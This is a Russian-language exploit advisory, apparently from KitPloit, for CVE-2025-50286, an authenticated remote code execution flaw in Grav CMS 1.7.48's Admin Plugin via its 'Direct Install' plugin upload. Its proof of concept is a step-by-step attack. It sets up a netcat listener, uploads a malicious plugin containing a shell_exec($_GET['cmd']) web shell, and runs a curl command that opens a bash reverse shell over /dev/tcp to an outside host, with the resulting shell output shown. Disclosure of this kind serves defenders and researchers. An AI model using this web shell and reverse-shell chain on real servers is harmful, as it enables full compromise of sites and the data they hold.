Grav CMS v1.7.48 / Admin Plugin v1.10.48 - Аутентифицированное RCE через загрузку плагина (CVE-2025-50286)

Grav CMS v1.7.48 с Admin Plugin v1.10.48 уязвим к удалённому выполнению кода (RCE) через функцию загрузки плагинов "Direct Install", что позволяет аутентифицированным администраторам выполнять произвольный PHP-код на сервере.

Идентификатор CVE

CVE-2025-50286

Сводка

• Тип: Аутентифицированное удалённое выполнение кода (RCE)
• Расположение: /admin/tools/direct-install (Панель администратора > Инструменты > Direct Install)
• Воздействие: Выполнение произвольного PHP-кода и потенциальная полная компрометация системы
• Требуется аутентификация: Да (доступ администратора)
• Затронутая версия: Grav CMS v1.7.48 / Admin Plugin v1.10.48

Подтверждение концепции

1. Подготовьте слушатель:

   root@kitploit:~

   nc -lvnp 4444
   

2. Войдите в панель администратора Grav как администратор.

3. Перейдите в Tools > Direct Install

4. Загрузите вредоносный ZIP-архив плагина (evilplugin.zip) со следующей структурой:

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← contains: shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← minimal blueprint to pass validation
   

5. Запустите reverse shell:

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. Reverse shell получен:

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

Затронутый компонент

• Эндпоинт: /admin/tools/direct-install
• Функциональность: Загрузка плагинов и автозагрузка без проверки

Протестировано на

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS v1.7.48 (с Admin Plugin v1.10.48)

Обнаружил

@binneko

Ссылки

• Grav CMS GitHub
• Запись CVE - CVE-2025-50286

Отказ от ответственности

Только для образовательных и защитных целей.